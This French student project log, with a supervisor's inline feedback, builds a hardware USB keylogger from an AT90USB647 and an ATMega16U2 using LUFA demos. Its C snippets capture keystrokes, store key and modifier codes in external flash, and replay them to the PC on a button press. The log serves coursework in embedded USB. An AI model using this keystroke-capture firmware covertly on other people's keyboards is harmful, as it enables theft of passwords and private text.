Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
